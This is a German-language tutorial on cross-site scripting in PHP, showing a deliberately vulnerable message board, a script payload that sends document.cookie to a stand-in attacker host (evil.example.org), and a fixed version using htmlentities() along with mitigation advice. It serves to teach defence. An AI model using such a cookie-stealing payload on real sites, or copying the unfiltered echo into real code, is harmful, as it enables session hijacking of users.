Cross-Site Scripting

Die Medien haben geholfen, das Thema Cross-Site-Scripting (XSS) bekannt zu machen und die Aufmerksamkeit ist durchaus verdient. Bei XSS handelt es sich um eine der meist verbreiteten Lücken in Web-Anwendungen und viele OSS-Projekte leiden ständig unter XSS-Anfälligkeiten.

XSS-Angriffe haben die folgenden Merkmale:

  • Ausnutzung des Vertrauens eines Users in eine Webseite
    Es ist nicht unbedingt der User, der ein bestimmtes Vertrauen in einer Webseite setzt – wohl aber dessen Browser. Beispielsweise, wenn der Browser in einem HTTP-Request einen Cookie sendet, vertraut dieser der Webseite. Möglicherweise haben User auch verschiedene Sicherheitslevel eingestellt, abhängig von der Seite, die sie besuchen.
  • Im Allgemeinen geht es um Webseiten die externe Daten zeigen
    Ein erhöhtes Risiko besteht für Webseiten, die Foren, Mail-Clients oder irgendetwas anderes beinhalten, was fremde Inhalte einbindet. Hierzu zählen auch RSS-Feeds.
  • Es werden Inhalte des Angreifers angezeigt
    Wenn externe Inhalte eingebunden und nicht ordentlich gefiltert werden, kann es passieren, dass Inhalte angezeigt werden, die von Angreifern platziert wurden. Am Ende ist das so, als würden man einem Angreifer ermöglichen, die Inhalte direkt selbst zu editieren.

Wie ist das möglich? Wenn Inhalte externer Quellen ohne Filterung angezeigt werden, ist man prinzipiell immer für XSS anfällig. Der Begriff "externe Daten" oder "fremde Daten" ist dabei nicht auf den Client beschränkt: Hierunter fallen ebenso angezeigte E-Mails in Webmail-Anwendungen, angezeigte Banner, ein von außen geladenes Blog etc.

Jegliche Information, die nicht direkt im Code enthalten ist, kommt von einer "fremden Quelle" – und das bedeutet, dass es sich bei dem Großteil aller Daten um "externe Daten" handelt.

Das folgende Beispiel zeigt ein einfaches Message-Board:

Zitat<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}
readfile('./messages.txt');
?>

Dieses Board hängt lediglich ein "<br />" an jede Nutzereingabe an, fügt sie einer Datei hinzu und zeigt dann die Inhalte der Datei auf dem Bildschirm an. Man stelle sich nun vor, ein Angreifer gibt einfach das Folgende ein:

Zitat<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>

Der nächste Benutzer, der das Board nun mit aktiviertem Javascript aufruft, wird direkt zur Adresse evil.example.tld weitergeleitet – wobei auch alle mit der aktuellen Seite verbundenen Cookies im Querystring übermittelt werden.

Was kann man nun tun? In der Theorie ist es sehr einfach, sich gegen XSS zu wehren, schwierig wird es aber, wenn man ausgewählten externen Quellen erlauben will, HTML-Code oder clientseitige Scripte zu platzieren. Doch selbst dies ist mit einem entsprechenden Aufwand möglich. Hier die erfolgreichsten Methoden, um das Risiko von XSS zu minimieren:

  • Alle externen Daten filtern
    Wie schon mehrfach besprochen: Alle externen Daten filtern, es ist das klügste was man tun kann. Wenn jegliche externen Daten validiert werden, wird auch ein Grossteil aller XSS-Attacken eliminiert.
  • Die vorhandenen Funktionen nutzen
    PHP kann beim Filtern von Daten helfen. Funktionen wie htmlentities(), strip_tags() und utf8_decode() können sehr nützlich sein. Ma sollte immer vermeiden, Code zu schreiben, den es in einer PHP Funktion bereits gibt. Nicht nur, dass die vorhandenen PHP-Funktionen im Regelfall schneller sind, sie sind auch durchgetestet und die Gefahr dass sie weitere Risiken oder Fehler beinhalten ist hier deutlich geringer.
  • Auf eine Whitelist-Filterung setzen
    Daten müssen solange als ungültig betrachtet werden, bis sie validiert wurden. Dies schließt sowohl die Länge als auch, dass nur erlaubte Zeichen übermittelt werden ein. Wenn ein Benutzer beispielsweise einen Nachnamen übermitteln soll, kann man damit anfangen, nur Buchstaben des Alphabets zu erlauben. Dies ist natürlich erst einmal fehlerhaft, Namen wie "O'Reilly" oder "Berners-Lee" würden als ungültig markiert werden – doch ist dies einfach zu beheben, indem man zwei weitere Zeichen in die Whitelist aufnimmt. Am Ende ist es immer besser, gültige Daten abzulehnen als fehlerhafte Daten durchzulassen.
  • Eine strikte Namenskonvention nutzen
    Wie bereits erwähnt: Auf eine strikte und saubere Benennung von Variablen setzen. Es ist wichtig, dass der Programmierer zwischen gefilterten und ungefilterten Daten unterscheiden kann. Sobald es an Klarheit bei der Entwicklung mangelt, führt dies automatisch zur Gefährdung der Codesicherheit.

Eine wesentlich sicherere Version des Message-Boards könnte nun also so aussehen:

Zitat<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}
readfile('./messages.txt');
?>

Alleine durch das Hinzufügen von htmlentities() wird das Board nun erheblich sicherer. Auch wenn das Skript nachwievor nicht "absolut sicher" ist, so ist dies doch der erste Schritt, um zumindestens eine brauchbare Sicherheitsstufe zu erreichen.


Netzwerke